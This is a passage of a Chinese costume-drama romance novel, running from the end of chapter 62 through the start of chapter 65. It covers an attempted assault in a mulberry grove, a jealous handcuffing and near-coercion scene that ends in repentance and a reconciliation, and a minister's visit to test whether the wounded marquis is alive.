树下,李攸支支吾吾:“你……你……”
目光凝结在李宴方肩头,十分冒犯,这一趟二人快步行至此处,她肩头的披帛以被吹落,夏衫轻薄,而咬痕深重,暗红刺目,透过衣料,他就是不想看到也难。
“自己是没有办法咬到这里的,是谁!?”李攸气喘吁吁,不知道是因为快步的奔走,还是因为怒意难消。
实际上,他并没有什么资格来发怒,可情之所至,往往不讲道理,他心中早已认定她了,即使她再度拒绝。
是因为李宴方有什么把柄在对方手中吗?
“是那个以下犯上的侍卫?答应我,我带你离开!”
端方公子的愠怒撕破了那一张温润如玉的面具,蓦然让李宴方想起亡故的陆韫之。
她对此厌恶至极。
李宴方甚至没有把披帛拉上肩头,仿佛刻意炫耀这一串咬痕似的,冷冷道:“在我眼中,郎君是个通情达理、彬彬有礼的君子,没曾想也会变成这般……让人刮目相看的模样。”
阴阳怪气的尖刻言语触怒李攸,他竟认为她在给那侍卫开脱,怒火更甚:“他对你做了什么,叫你如此死心塌地,还是他背后之人,你惹不起,也躲不起?”
原是这样,李宴方思忖一番,李攸是怀疑萧偃“生死不明”后,有人在侯府插手,接管一切事务,且此人权力极大,靠山极稳,甚至敢对她这个乡君动手动脚,屡次越界。
李攸怀疑的背后之人是谁?是小山?
“你两次都是以保护我为名,以为我好为由,求娶于我,你不觉得你的理由很单薄甚至很荒谬吗?我看你的求娶从未有过真心!”
“和亲之事,且不说太后未下定论,就算真有那一日,就因为那人曾经对我示好,就一
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定是我去和亲?”
“今日之事,我看未必不是你刻意放大危机,逼我就范!”
李宴方咄咄逼人,丝毫不有退意。
“不仅伶牙俐齿,还不知廉耻!”
李攸怒气上涌,口无遮拦,他到底是天潢贵胄,虽然远离朝局,但从来都是被人恭恭敬敬地捧在掌心,连衣摆都不曾染上半点尘埃,何时被一介女流口出恶言,作此构陷?
一道响亮耳光骤然响起,李宴方朝李攸那精心妆饰的俏脸狠狠扇去,不留半点情面。
从未吃过一次耳光的人呆若木鸡,待到灼热痛感将他的愣怔烧成赤焰,李攸难以置信地道:“你打我?”
不知是斥责还是质疑。
李宴方不怒反笑:“是,我打的是你,打的更是你的身份,你以为凭借你的出身就可以三番四次居高临下地以‘拯救’之名逼迫我?”
这一巴掌下去,要么打得李攸对她再无利用之意,她落得个清净;要么打出李攸苦苦掩盖的真相,她拿到消息好作应对。
她乘胜追“激”:“你如今是想着如何去你阿嫂面前告发我,治我一个目中无人、以下犯上之罪,还是想就此杀我灭口,彻底抹去自己被欺辱的事实?”
听她提及太后,李攸胸膛起伏更甚,今日之前,他从未想过事情会闹到这个地步。
他原打算以离别之情触动李宴方,再暗示小山的身份,若李宴方也猜出真相,他便会将崇州萧父的家书转交给她,让她知道萧父效忠于那一位将军,甚至不惜为将军拼上性命,而刚好这位将军死在太后的手下!
若太后得知她、萧偃与将军有故,还会相信姐弟二人的忠心耿耿吗?太后必然会动手除去后患。
李攸要如何让她知晓,她与他才是同一阵营的盟友,她与他的良缘才是天作之合?
不是他逼她就范,是太后在几十年前就埋下祸根,今时今日萌发了而已。
可不用婚姻将二人绑在一条船上,他如何敢对她坦白谋逆大事?
婚姻之事她已拒绝,要如何,如何!
李攸脸上疼痛灼烈。
此时已近午时,暑气烈烈,附近的百姓早已回到自己家中避暑做饭,只剩下杨柳与桑林。
还有蝉鸣,令人烦躁的蝉鸣,叽喳漫长,撺掇李攸心头的怒火,愤怒的烈焰被炽热的正午骄阳一照,更是肆无忌惮地烧遍他的五脏六腑。
怒从心头起,这古语的下一句便是——恶向胆边生。
此处偏僻无人,且桑林高大密集,就算有人偶然路过也不会发现林间动静。
既然那个侍卫可以,他为什么不行?李攸见她毫不遮掩暗红齿痕,看来她也不甚在意这些事情。
不过,此番作为实在是有损自己身份。
然而机不可失,时不再来,大变在即,又岂容他继续当个不知变通的正人君子?
李攸戴起那一张寻常使用的面具,是儒雅、温和的谦谦君子。
他不动声色朝李宴方靠近:“宴娘这么说,倒叫我痛心疾首,我即将离京,心中难免落寞,一想到后会之日遥遥无期,我便情难自抑制……”
距离不过咫尺,他伸出双手,如偷袭一般,强行抱住李宴方!
烈日风中,传来桑枝与桑叶交错的沙沙声。
63. 追赶
丝缎披帛软绵绵地挂在桑树枝叶上,被时不时吹来的热风卷走,萎靡地飘落在肥沃的泥土中,格格不入。
“让我看看他对你做了什么!”
李攸怒吼,拔腿向逃窜的李宴方追去。
方才不过咫尺之距,谁料李宴方警觉过人,朝李攸毫无防备的腹部击出一拳,剧痛袭来,李攸无暇顾及李宴方,反倒让她逃跑。
可这事情一旦开头,绝无半途而废的道理,在李攸眼里,李宴方不过是个弱女子,怎能逃出生天?
除非李宴方胆敢高声呼救,可这样一来,与她名声不利,若日后他再添油加醋,谎言木已成舟,说服太后下旨赐婚,她可不就是自讨苦吃?
李攸只觉胜券在握,斗志昂扬地疾追而去。
李宴方只是后悔,李攸抱过来之时,她不曾顶膝击裆,否则岂会让他有机会在身后追自己?
是她有所顾忌。
既然李宴方要惩治他,就必须拿出彻底斩断祸根的办法,光叫他断子绝孙怎么够?须得将他送往黄泉之路。
只是调查之人今日稍稍打听便至她与李攸见过面,她现在出手必然洗不清嫌疑。
李宴方暂且咽下这口气,她只要跑到百姓往来之处,李攸就无法实施他的计划。
烈日高照,穷追不舍的李攸已是热汗涔涔,筋骨疲乏,但与李宴方的距离逐渐接近,他咯咯发出低笑。
桑林如海,浩荡无涯,李攸眼神迷离,李宴方找不到别人相救,只会成为他的瓮中之鳖。
很近了,只要李攸伸出手就能触及李宴方的衣裙。
突然,视野中出现一道黑色身影,那影子不知何时降临,恍如定海神针般矗立在烈日下。
他一出现,连酷热的风都停歇。
李攸迎着日光眯起双眼打量,不见其面容,只见狰狞猛兽露出獠牙,他心跳骤然一缩,脚步瞬间停顿,愣在田间,四周只余他剧烈慌张的心跳声。
李宴方抬头望去,目露讶然,一个不慎便栽倒在来人面前。
萧偃本是气急,想摆些脸色给李宴方瞧,可手臂不听使唤地扶住她,进而在自然而然地将她揽入怀中。
他并未理会不远处的李攸,极为不悦地问怀中人:“你昨日跟我说得那些话,是故意为了在今天避开我吗?”
只要李宴方将萧偃撩拨得七荤八素,他就无心再去理会她今日的约会。
当真是好计策。
怀中的人奔跑疲惫,喘息不止,萧偃打量她微微泛红的脸,那张浮现薄汗的脸上没有一分一毫愧疚,也没有一丝一缕震惊。
他的阿姊理直气壮地享受着他及时出现的护卫,她是不是算准了他会来,算准了自己会被她拿捏得妥妥当当?
萧偃更为愠怒,可其实这时候他的阿姊说上一句“太好了你来了”,他的怒气马上就能消散而去。
但她没有。
她低声,伴着喘息:“真叫人后悔。”
这一瞬间萧偃想,其实阿姊要说后悔前来赴约,他也能释怀。
李宴方仰起头,干燥的唇微微翕张,对着萧偃说悄悄话:“早知道就该把李攸踹河里,一了百了。”
她只想着如何解决后患,丝毫不把他的提问放在心上,他在意极了这件事情,如此聪慧的阿姊居然不明白!
萧偃恨意渐生,他冷笑一声,另一手轻轻揭开面具寸许,露出薄唇,朝着那两瓣开合的唇吻去,先咬下唇,再咬上唇,既缠绵,又凶狠。
扶住她腰肢的手渐渐用力,拇指上戴着的玉韘叩压她的脊骨,碾压着她背后的肌肤。
怀中之人喘息更急,没有被封严的朱唇仓皇匆忙地呼吸着,发出不满的抗拒声:“别……疼……”
短暂存在过的梦境不合时宜地涌上李宴方心头,她软了身躯,不满道,这玉韘果然是个碍事的东西。
萧偃放开她,抬起手,指腹轻柔缱绻在她唇上摩挲,仿佛另一种狎昵亲吻。
但细究而来,只是替她把花掉的口脂擦去而已。
李宴方仰头回避,人李攸还在一旁看着呢!
他淡声道:“别动。”说着一手自她的颈部抚摸而上,扣住后脑勺。
李宴方气极反而平静无澜,早已看透他一举一动背后的用意:“你的占有之欲未免太强了些。”
灼灼烈日下,李攸亲眼所见二人的暧昧亲密,萧偃心中暗爽泛滥。
没办法,他的灵魂里永远有一隅阴暗潮湿的角落,锁着一个卑鄙险恶的鬼怪,这鬼刀枪不入,烈火不焚,只能勉勉强强囚困住,时不时地咆哮嘶吼。
“阿姊,现在知道得太晚,想跑已经来不及了。”
“咔哒”一声从李宴方的手腕上传来,正是李宴方震惊之时,萧偃坦荡磊落地将手铐的另一半扣在他腕上。
“你……”李宴方欲斥无言。
旁观其变的李攸目瞪口呆,只恨桑木为方便采摘,消砍得高度不过人肩,构不成任何遮掩,让他完完整整地看到二人之间亲密的互动。
好蛮横霸道的侍卫,李宴方在抗拒,在不满。
她拒绝自己的求婚当真是因为有求不得已的苦衷吗?
那侍卫毫不避讳地在李攸面前行此举动,是有恃无恐,还是对着他这个竞争者宣告二人关系,耀武扬威?
李攸从来没有经历过这般难堪的事情,把他多年来饱读圣贤书养出来的礼义廉耻糟蹋得稀巴烂,撕成一堆废纸碎片,丢在肮脏的泥泞里。
他浑身热血奔腾,想冲上前去,将李宴方救出苦海,可双腿如同灌入铅液一般,沉重得移动不得方寸,加之狂奔的那一股疲惫袭来,让他只能做这个丑陋无比的旁观者。
心中不仅有羞愤,还有担忧。
侍卫是否此事告知太后?
不会,侍卫在乎李宴方,想要占有她,则不会轻易将李攸与李宴方的关系捅至太后跟前,行节外生枝之举。
可若是侍卫赤胆忠心,将所闻所见报于太后,岂不是刚好坐实自己与李宴方的关联,彻底离间太后与李宴方,那么太后对卧病在床的萧偃自然也就不信任了,正合他意!
而且无论如何,太后都不能以一件未遂的是由来惩戒身为皇亲的李攸。
此事定会变成小事一桩。
李攸目露歹毒凶光,咽下心中的仇恨,愤然转身离去。
可那鬼面侍卫掏出先前捡起的几粒石子儿,朝正在逃亡的李攸打去。
“啊——”惨叫声自桑林内直冲天际。
一颗击腰部,一颗击腿部,入“骨”三分。
今日腿疼,摔倒在地;明日腰疼,不良于行。
萧偃冷哼,今日算他走运,否则他必废了李攸
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不可。
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李宴方抬首望见停在道中的马车,照清已经将她那一条遗失的披帛拾回,立在马车边等待。
被手铐锁在一起两个人,一前一后地上了马车。
照清见状内心大骇,想起不久前发生的事。
乡君前脚刚走,萧侯后脚便来,他浑身的气势可怕得吓人,直教人在暑天里感受到铺天盖地的阴寒。
来人三两步走入厅中,面具中透出两缕灼灼的目光,仿佛要将棋盘击碎,将石桌洞穿。
不知萧偃心里想到了什么,猝然向等待于此的王府下仆发难,三两下将他们打走。
那些仆从畏于他的威势,不敢相抗,各自搀扶着一瘸一拐地离去。
随后他转过身,既怒且寒的嗓音询问她今日发生何事、乡君去向何方。
照清见他怒火发冲冠,下手无情,不敢有隐瞒,在他的逼问之下,将李攸“再作此请”的原话道出。
她虽隐去乡君所言的对李攸也有一二分好感,但二次请婚之语,携手同往江南之愿,也足够让萧偃七窍生烟了。
照清心虚地觑了一眼前后脚踏上马车的两人,后悔莫及,自己这一出真是火上浇油。
她一路心不在焉地跟着车架,一边做贼心虚地留心车内的动静,脑海中闪现那一副明晃晃、铁森森得手铐,她担惊受怕,要是乡君真因此而与萧侯闹了什么难以调和的矛盾,那么当真是万死难辞其咎了。
可这一路上车内竟然沉默得诡异。
烈日炎炎的正午,李宴方经历一场惊心动魄地奔跑,大汗淋漓,此时已是口干舌燥。
车内设有一方几,其上有茶水,可她手上有拷,咫尺之间的举动都变得尤为艰难,好似间隔汪洋。
因不满萧偃在李攸面前放肆猛浪的作为,她自然是不愿意开口提及此事,再渴也不打算对萧偃好言好语,她狠狠地偏过头去,烦躁气结地望向窗外。
萧偃亦在赌气,心头的结她不在意,不乐意开解,甚至连话都不愿意和他说,宁可假模假样地看着被车帘遮蔽的车窗。
她难道竟如此地厌烦他,连一句好话都不愿说?
可她却能耐着暑气,和李攸在亭中手谈一局,当真是好耐心!
不知李攸一而再,再而三地好语请婚,能不能叫她高兴?
照清说她没有答应,可为什么她答应随着李攸去了那茫无边际的桑林,不危险么?
还是她只是面上拒绝,实则有什么不便为外人得知的贴心话要说?
萧偃明明不该作此想,阿姊可是对他说要将李攸踢下河去的,自己一定是误会她了……
但是,此时她如此不加掩饰地厌烦萧偃,不正眼瞧他,不愿与他相谈,那一句话是不是她故意对自己撒谎,降低自己对李攸的敌意?
难道她真的动了和李攸离去,甩掉自己的心思?只是自己出现得太及时,坏了她的打算?
萧偃体内燥热涌动的血骤然冰凉。
她愿意在他身边,是因为她是他的阿弟,她须关照负责,而不是什么别的人,能叫她心悦,牵动着她柔肠。
她不喜欢他。
萧偃透过面具一瞥李宴方的神情。
冷得像块冰,死死地压住他那一颗逐渐心灰意冷的心脏,要把他埋葬封印在万古不化的冰山冻川之下。
64. 怄气
回城的路再漫长也终有尽头,马车驶入侯府后院,停当那一刻,李宴方不顾手上拷链的束缚,起身下车,丝毫不理会身旁的萧偃。
腕上的铁拷在洁白如玉的肌肤上留下通红的印痕,李宴方也生生受着压迫之痛。
见状的萧偃愈发绝望,他的阿姊当真是一句话都不愿与他说了,他眼神一黯淡,凤目里藏着令人琢磨不透的凶光。
他跟在李宴方身后下车,两人一前一后,李宴方在前,怒气冲冲地走回自己的院落,推开房门,而萧偃紧跟其后,那铁拷的链儿就这么明晃晃地荡着。
照清看着这一幕,有心解围,但实在无方可用,也无胆可壮,正是她不知进退的当下,萧偃朝着她与院内的丫鬟下令“退下”,她们不敢不从。
嘭的一声,房门紧闭。
“你到底想做什么?”冷淡的嗓音,是李宴方交涉的开篇。
两人被手铐拷在一处,不离半步,可这一声下来,显得两人相距千里,且道不同,不相为谋。
萧偃只觉得自己可笑,在她面前摇尾乞怜了那样久她真把自己当狗了?他脱下面具,扔至一旁。
几声干涩的冷嘲过去,他道:“阿姊还没回答我的问题,却要问我想做什么,当然是追、根、究、底。”
李宴方的思绪重回桑林,那一句冰冷的问话再度入耳,她本要开口,却觉得喉间滞涩,他竟然怀疑她把那件事当作筹码,避开他去私会另一个男子?!
他这是在发的哪门子疯!
“原来你是惦记着要羞辱我一番。”
这回,轮到李宴方冷笑,事已至此,她还解释什么,他这般疯状看起来也不像能听得进去的。
何况李宴方巴巴地解释,倒显得她行差踏错,有负于他了。
萧偃扳过她的身体,逼着她与他四目相对,口齿森寒:“这般羞辱叫阿姊不快,那么李攸那厮两次求婚,是不是叫阿姊飘飘然,心满意足?”
李宴方心一沉,他早已从照清口中逼问出实情,她犹自镇定反问:“那你也当听照清说了,我拒绝他两次。”
萧偃反应何其敏捷,几乎是她话未说完,他便阴阳怪气道:“无巧不成书,呵呵。你也拒绝了我两次,而今不也还在与我虚与委蛇。对他对我,你究竟几分真心,几分假意?”
天生带笑的嘴角此刻像是被鬼祟妖魔附身般,勾起妖异鬼魅的鬼气,赤裸裸地挑衅着。
这莫名其妙的话如当头一锤,最初叫李宴方不明就里,待她细想,只觉得荒谬可笑,竟不知自己什么时候在他眼里是这般模样,她怒火中烧,朝他脸颊狠狠扇去一耳光。
痛且爽,脸上火辣灼烧,心头却似被冰雪浇透。
为什么她一丁点儿都不在乎他的感受?明明只要给他一点好,一点甜头,他就能说服自己继续跟在她身后摇尾巴。
偏偏在他最需要她宽慰的时刻,她先是拒绝,再是否认,如今更是不留情面地斥责。
这样关系好像变得没意思了。
萧偃怔怔地凝望她,脸颊上的痛楚转为麻木,就像他那一颗,在一片荒芜的废墟里垂死挣扎而又奄奄一息的心脏。
“阿姊不说,我来说。”
一瞬间,他收敛起獠牙,又变回她眼前那一副乖觉古怪的模样。
“阿姊最开始愿意与我有瓜葛,但因为陆朴追杀,不得不屈尊与我同在一屋檐下。”
“然后那木拓步步紧逼,不得不与我纠缠不休。”
“待到李攸出现,你安抚我,叫我想起幽州之约,不过是那日……”他邪笑三两声,目光洞穿她的哑口无言与惊耳骇目,“我太过危险,稍有不慎便做出些出格逾越之举,你不得不放低姿态周旋。”
“以阿姊的智计,还真是易如反掌。”
萧偃一直对自己的危险程度心里有数,他愿意在李宴方面前束起手脚,是因为他敬她爱她,若她无心,他便休。
獠牙和利爪不加收束,将将要亮出。
“而后,你用上官柔仪做说客,说服我与你斩断义姐弟的关系,好彻底摆脱我,那时正是李攸热情追求之期对不对?”
李宴方怒火焚身,上官柔仪之事她并不知晓,但先前那些事情的的确确发生过,可从这个疯子嘴里过了一遍,尽数偏离了真相,变得讽刺滑稽。
萧偃此刻情绪上头,连那么不着调的话都说得出,还能将她的解释听进去么?
昨夜刚见他时他就古古怪怪,回去之后又不知道他胡思乱想什么,变成今日疯疯癫癫的模样,还是李攸今日的举止刺激到他了?
李攸在桑林内的所作所为的确令人发指,但萧偃如此失态,可不像是仅因为一件事。
李宴方哑然,此刻也不知心头是担忧他多一些,还是愤怒多一些。
她一抬首,那双生得多情美丽的凤眼被血色充盈,变得可怖,她不由得微微垂下眼帘。
见阿姊不语,羽睫轻颤,目光躲闪,萧偃心意已决,将她横抱而起走向床榻。
“阿姊昨夜说的话,算不算数?”
听闻此语,李宴方脑门似轰隆一声塌下,砸得她理智全无。
她虽早已决定与他在一起,自然也做好某种准备,可绝不能是在这种纷杂错乱的情况下,稀里糊涂地厮混。
李宴方愤而斥之:“你放我下来,何必撕破脸皮,来日姐弟都做不成了!”
这事她才反应过来,手上镣铐是他蓄谋已久,正如他在桑林所言——她这时想逃也逃不掉了。
萧偃不怒反笑:“不做姐弟正好,反正我赖在阿姊身边就是别有企图。”
他将挣扎不已的李宴方稳妥地横放在床上,替她脱了绣鞋,自己蹬掉靴,将玉帘一拉,爬上床去,用高大魁伟的身躯困住她。
“阿姊对不住,就算你不喜欢我,我也见不得你与别的男人恩爱,更不要说随他远离我而去,你今后怨我也好,恨我也罢,我们总是要黏在一处,生生世世不分离的。”
这一切都是他多年处心积虑强求而来,就算是苦果恶果他也毫不犹豫地吞下。
李宴方如梦初醒,兜兜转转一大圈,才发现他这疯病症结所在,不由得生出几分无奈与绝望。
她思索之际,慢了抵抗,两腿分开跪在她身上的萧偃已经开始为她宽衣解带。
腰带既解,外衫一剥,三两下躺在床上的人便只剩小衣和亵裤。
李宴方忍无可忍,扬起手要扇他耳光,却被他轻易制服,萧偃干脆将她双手都高举过头顶,她挣扎着,手上的拷链哗啦啦作响。
双腕被宽大有力的手掌压制,李宴方无奈闭目,那一阵熟悉的气息朝自己不断逼近,她无力又悲愤地骂去:“你个混账东西王八蛋,你听谁说我不喜欢你?”
萧偃正欲亲吻她的脸颊,这话传入耳畔,他整个人僵住,连思绪都凝固不移。
“我不喜欢你,却还要为了你,一个人傻兮兮跑到爹娘偷偷摸摸地掷了三杯,生怕我们在一起遭到爹娘反对。”
三杯皆顺,她自个儿还冒着傻气呆气笑个不停。
李宴方想起那时自己一幅神经兮兮的模样,竟不知一个从来不信鬼神的人,也能鬼使神差地做下那些举动,心中酸涩直冲脑门,夹杂着不知从何而来的委屈,尽数化作两行清泪,就这么淅淅沥沥淌下,不着痕迹地滑入枕侧。
她兀地冷笑,嗓音怪异:“是了,这般费尽心思也不过是瞒着你,骗着你,和你虚与委蛇,叫你放下戒心,好和别的男子相会私奔。”
萧偃但凡还有一丝一毫的理智,都当想得出这是一出作了也无用的戏码。
脑袋突然炸开,他凝固的双眸突然开始转动,他的理智正在悄然压制那一股癫狂的情绪。
他被李宴方那讽刺而苦涩的眸光刺中,瞥过眼,却见她肩头裸露的肌肤上那一串的牙痕。
鲜红、深刻,痛入骨骼。
他到底在做什么啊!
“我真该在那个山洞里杀了你,然后自刎,也算死则同穴,你会很满意,对不对?”
她泪花汹涌,想起那个真正豁出心结,决定与他相守的夜晚,可是怎么会换来如今这遭,他从来都没相信自己的真心。
萧偃竟然会以为自己在与他逢场作戏!
心头酸涩,鼻翼扑扇,她再也控制不住情绪,呜呜哭咽起来。
萧偃愣在当下,六神无主。
他总以为陆韫之比不过他,那木拓也不行,李攸更是不行,他们绝不可能如自己这般珍视爱重阿姊,可他明明就在做着比这些人更恶劣、更令人切齿的事。
萧偃大梦初醒地收回压制她的手掌,却见她腕间系着一条五彩缤纷的长命缕。
他亲手打的。
一道闪着五彩光芒的惊雷劈开萧偃的天灵盖,劈焦他被鬼迷了的心窍。
“你放开我。”李宴方带着哭腔大喊,趁他愣怔片刻,朝他胸膛踢去。
萧偃毫无防备,整个人向后倒去,牵动手铐,将她猛然直拽起身,差点扑到他怀中。
这解不开的锁拷扯得她生痛,叫她心烦意乱,她干脆转身背过他,抱起双膝,垂泪不语。
泪水嗒嗒直落,滴落到腕上,一阵锥心刺痛传来,李宴方一觑,才见腕间已被铁拷擦伤,皮翻血涌,哭咸的泪珠划过,疼狠了。
她咬着牙,硬生生受着。
萧偃彻底慌了神,不知所措地跪在她身后,她定是怒极恨极,自己怎么就敢吃了熊心豹子胆,竟做出如此荒唐的事来,当真是罪该万死!
待事情发生,无可挽回,他才惊觉自己根本受不得阿姊的无情冷眼,周身如堕入冰窖中煎熬。
是他,生生把二人逼向相悖的殊途。
在李宴方目光不及的地方,萧偃垂泪忏悔:“是我胡思乱想、鬼迷心窍,铸成大错。”
“先前阿姊一直义正言辞地拒我,是我偏要勉强,死缠烂打,待李攸出现,我才恍然醒悟阿姊喜欢的一直是文采斐然的温柔才子,而不是我这等蛮横无力、仗势欺人的武夫。”
萧偃上元日与贺成洲相谈,得知对方亦对那些个舞文弄墨的书生横生醋意,稍加打听,才知贺兄与赵夫人最初也并非琴瑟和谐。
也算前车之鉴,后车之师。
他念及自己与阿姊,阿姊那般才情才华,在相守白头的日子里,总要有人与她一道惯看春花秋月、谈尽和风瑞雪,而他天生不长那等玲珑心思,只能粗通皮毛地糊弄,实在是配不上。
阿姊那皎洁的明月,总是能照彻他眼底的自卑,他越是仰望,那一句“配不上”越是扎根深处。
“大猎之后,阿姊对我态度好转,弄得我魂飘九天,可李攸一出现,我又惊慌失措……”
李攸不仅仅是李攸,更代表着他心中配得上阿姊的那类人群,那些个虚影一出现,就会把他勉强而得来的柔情掠走吞没。
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“我一慌乱,游思妄想怎么按都按不住,以为你待我好,只是因为那日我舍命护你,你歉疚,你想补偿我,可怜我,所以才违背本心、豁出廉耻与我在一起。”
曾经的阿姊是如此担忧姐弟不伦带来的恶果,他还叫她生受了那木拓的恶语中伤。
念及此,萧偃心如刀绞。
“可人心不足蛇吞象,因垂怜、愧疚与责任捆绑在一起的关系不叫我满足,我小心眼,我敏感又多疑,害怕你今日拒了李攸,来日也会有更多翩翩才子出现在你眼前,我害怕他们轻而易举地得了你发自内心的赞许青睐。”
“心一横,就想着你厌恶我憎恨我也好,反正你喜欢的本来也不是我这样的粗人,这一切本就都是我强求得来,只要你能留在我身边我就心满意足。”
可他高估了自己,根本看不得阿姊受半分委屈,她心一痛,他只会比她痛上千万分!
泪珠大颗大颗滴落,萧偃凤目早已通红,他忍下泪意;“阿姊怎样惩戒我,我都毫无怨言,只求你不要厌弃我,离我而去。”
李宴方咬着薄唇静静听着,一缕血腥味窜上舌尖,她却忘了疼痛,原来在她不知道的地方,他竟然还有那么多莫名其妙、乱七八糟的心思。
他长着好端端一张嘴,却有话不问,非要把那些无端的心绪积压在一起,弄得自己疯疯癫癫,还差点……
李宴方抱紧身躯,萧偃今日这些出格的举动,九分半的错在他,剩下半分,非要攀扯下来,倒也与她逃不开关系。
她不知道这些时日萧偃心头所想,昨夜那一句主动的问话也算给一团正在燃烧的烈火加了几根干柴,她因而失了深究追责的底气,所幸他悬崖勒马,没做到无可挽回的地步。
这番作想,李宴方心绪平静些许,道:“若是两人有些许小矛盾,借着鱼水之欢后的柔情能各敞心扉,口吐真言,不过是情人之间小打小闹的情趣。”
明明是义正言辞地分析此事,阐明态度,可李宴方越说越觉露骨,声音也不禁小了些。
她支支吾吾道:“可若是心墙难越,心结难解,强行此事,便是加重隔阂,以致情分破裂。”
也是彻底豁出去了。
李宴方只觉气势不足,又恶狠狠道:“以后你再鲁莽行事,我就挑个黄道吉日毒死你个混账玩意儿!”
萧偃红着耳尖,躁着面庞,听她训话,阿姊不说他也知道,大事须有商有量,不可意气用事。
闻到阿姊说“以后”,他由心灰意冷转至亢奋难言,阿姊还不打算离开他,他还能与她在一起。
她的气当是消了些。
萧偃在李宴方面前本就是给点颜色就要开染坊的性子,如今大罪初得赦,更是喜形于色,得意忘形,在她耳后心虚道。
“阿姊通情达理,不予追究是阿姊的宽厚仁德,可我胡作非为,着实不得轻飘飘地放过,还请阿姊责罚于我。”
他再吃些苦头,她的气便能彻底消了。
李宴方尖酸地刺激他道:“还是请萧侯开恩,把我手上拷解了。”
这回轮到萧偃吞吞吐吐:“钥匙我没带在身上,在我房中。”
但现在二人这番狼狈样子去唤人来取,叫人瞧见,未免也太……
李宴方怒从心头起,心道此人当真是“算无遗策”,冷声道:“不是要我责罚你么?罚了你之后,就既往不咎好不好?”
“任由阿姊责罚。”身后的人不敢辩驳。
她道:“把上衣脱了转过去。”
温柔地不像话,在萧偃心里漾起层层涟漪,可他不敢不从,眨眼间的功夫,他就照做无误。
正在他想入非非之际,背后传来啪啪声响,原是李宴方怒气填胸,从床上拾起腰带朝他宽广的后背抽去。
她抽得狠,不过几下,缀着珠饰的腰带便在他身后留下猩红的长痕,可萧偃也不觉痛,只是暗暗庆幸。
她愿意与他置气,教训他,是在乎他的。
*
闹得再不好收场也得收场,只是萧偃解下手铐时见李宴方手腕间翻起的一块薄皮,心疼得不得了,当场便把手铐砸个稀巴烂。
萧偃如临大敌,恨不得时时跟在李宴方身后为她端茶倒水、铺纸研墨,免她一切动作,省得日常琐事耽误她的恢复。
次日中饭时,萧偃形影不离,把丫鬟们的活计尽数包揽,更是殷勤不已地在桌旁替李宴方剥河虾。
“我昨日在马车上就打算将猜测告知你,不过现在说也不迟。”
李宴方用饭毕,将筷箸搁置一旁,将自己的猜测一一道来。
“小山是太后,李攸得知某个秘密,但对太后颇为忌惮,不敢言明,引我猜测,此为其一。”
“婚姻之情,并非深情,乃盟约之举。李攸一定想到婚后他多了你这内弟,所以先退一步,以孝之命,远离洛都,换取太后信任,此为其二。”
而江南府邸建成还需时日,在真正离去之前,能做的事情可就多了。
萧偃疑惑:“难道阿姊怀疑他要谋逆。”
“他也要谋反,但与陆朴不是一伙的。”
“嗯,”萧偃点头,“陆朴与那木拓要杀我,但李攸想利用我。”
门外突有亲卫前来:“主子,户部侍郎求见。”
李宴方疑惑望向萧偃,萧偃擦净双手,对她道:“忘了与阿姊说,昨日我呈了一样东西到太后跟前。”
65. 闯入
咣当震响,户部的杜仲双手振袖,将茶盏重重搁在案上,瓷器发出觳觫嗡鸣,声声入耳。
“难道乡君真的以为你能够代替萧侯发号施令,还是替萧侯上阵杀敌?为何不准我面见于他?”
一声极力克制的质问回荡着,彻底掩盖掉茶盏碰撞的尖响,积压已久的怒意从杜仲齿缝里逃逸而出,他又极快地阖上双唇,仿佛意识到言辞的不妥。
至少这些话不能当面道来。
但杜仲的怒气已在层层累积中不可避免地喷发而出,直截了当地问向这一位全天下对萧偃状态心知肚明之人。
李宴方为何多番阻拦他这一位朝廷命官?!
京城内的风风雨雨他早有耳闻,萧偃生死安危成谜,前些时日李宴方被画屏猛虎吓得失魂落魄,更有传言大猎当日之事血腥恐怖,李宴方虽侥幸留下一条命,可心神已损。
那拼命护卫她的萧偃又岂能全身而退?
甚嚣尘上的流言对萧偃极为不利,但恰在此时,一道平戎策从侯府送到太后面前,太后召来兵部、户部等官员商讨此举的可行性。
户部需筹备粮草,杜仲亦在受召之列,只不过他不曾想到会接下这一趟差事。
平戎策论述周全,攻略出其不意,非常吻合萧偃的作风,这一道平戎策像是在沸沸扬扬的流言中证明他本人无碍。
但既然本人无碍,为何不出府门?
太后因此派杜仲前来试探虚实,杜仲不仅要给太后交代,还要给关心政事的群臣百姓们交代。
萧偃是否当真无恙?
那些流言是否能不攻自破?
此事并非良差!
杜仲午时前来,正是用膳之时,侯府之内无人前来侍奉,主人也未曾相迎,竟然就将他撂在此处,这已让他极为不满。
难道真如某个传言,这一道平戎策并非萧偃手写,而是某人代笔呈之?
而侯府之中正在千方百计制造假象试图让他相信,所以久久无人前来接见?
如今李宴方三番四次阻拦自己面见萧偃,已让杜仲心中的猜测愈发清晰,心头沉重。
李宴方能书擅画,颇具才名,会不会她仿照笔迹,故意抛出平戎策,达到掩盖某个真相的目的?
那可是欺君之罪啊!
杜仲抬起头直视稳坐于上首的女子,那女子一派光明磊落、端正大方,任由他打量揣测。
而风雨不动的李宴方终开金口,给杜仲的怒问一个挑衅之意尤为明显的答复。
“我已与杜大人讲明,我阿弟过去身受重伤,更是在山中硬撑一宿,归家之后发热昏迷数日,好不容易从鬼门关前捡回一条命,如今尚在静养之中,不可打扰,但杜大人大有一探究竟的意思,不知是受谁的命?”
是谁?还是谁想借着杜仲这一把刀杀一杀这一片迷障?
杜仲瞳孔骤缩,心底寒凉,李宴方竟然敢直言至此,将近月以来朝野上下暗中浮动的疑云瞬间挑明!
她是在怀疑太后,还是在怀疑杜仲的忠诚?
杜仲心知已经在盛怒之时彻底得罪过她,干脆一不做二不休,底气十足道。
“平戎策呈上之后,太后陛下甚为重视,召集臣工商讨,而对平戎策最为了如指掌的自然是萧侯本人,此番我受皇命而来,是要与萧侯商议细节,乡君何必胡乱猜测,血口喷人!”
然而就算他是奉命行之,可定会有许多人借着他撕开一道缺口,一探侯府究竟,这一点杜仲亦是心知肚明,局势越乱,他就只能越抱紧太后这棵大树,尽忠心,办妥事。
李宴方见他搬出太后来,目光掠过杜仲那张写着不满愠怒的脸,慢声道:“承蒙太后垂怜,早在月前太后遣御医、赐良药,对我阿弟关怀备至。”
上首的女子冷眉寒瞳,朝杜仲望来时,他竟突觉这暑天里有一丝刺骨的凉意,李宴方言下之意便是指:太后对萧偃伤情一清二楚,又怎么会再派人前来硬闯逼问?
可那质问又似杜仲错觉,李宴方下一句已经传入他耳畔:“可我阿弟最近心绪不佳,不愿见人,连我也不常与他碰面,杜大人若是执意前往……”
她的停顿让杜仲燃起一星希望,她的坚持已经裂出一道缺口。
